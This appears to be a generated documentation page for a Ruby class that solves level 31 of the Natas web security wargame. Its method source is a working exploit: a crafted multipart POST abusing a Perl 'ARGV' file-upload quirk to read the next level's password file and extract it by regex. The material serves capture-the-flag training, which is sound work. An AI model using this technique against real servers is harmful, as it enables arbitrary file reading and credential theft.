Class: NatasLevel31
- Inherits:
-
NatasLevelBase
- Object
- NatasLevelBase
- NatasLevel31
- Defined in:
- lib/natas.rb
Overview
Level 31
Constant Summary collapse
- LEVEL =
31
- PAGE =
'/'
- PAYLOAD =
%(#{WEBPASS}/natas32)
Constants inherited from NatasLevelBase
NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS
Instance Attribute Summary
Attributes inherited from NatasLevelBase
Instance Method Summary collapse
Methods inherited from NatasLevelBase
#get, #initialize, #level, #post
Constructor Details
This class inherits a constructor from NatasLevelBase
Instance Method Details
#exec ⇒ Object
886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 |
# File 'lib/natas.rb', line 886 def exec payload = URI.encode_www_form_component(PAYLOAD) request = Net::HTTP::Post.new( "#{PAGE}?#{payload}" ) request.basic_auth(@login, @password) request['Content-Type'] = 'multipart/form-data; boundary="boundary"' body = <<~BODY --boundary Content-Disposition: form-data; name="file" ARGV --boundary Content-Disposition: form-data; name="file"; filename="file" --boundary-- BODY request.body = body.gsub("\n", "\r\n") data = @client.request(request).body match = /<th>(\w{32})\n/.match(data) not_found unless match found(match[1]) end |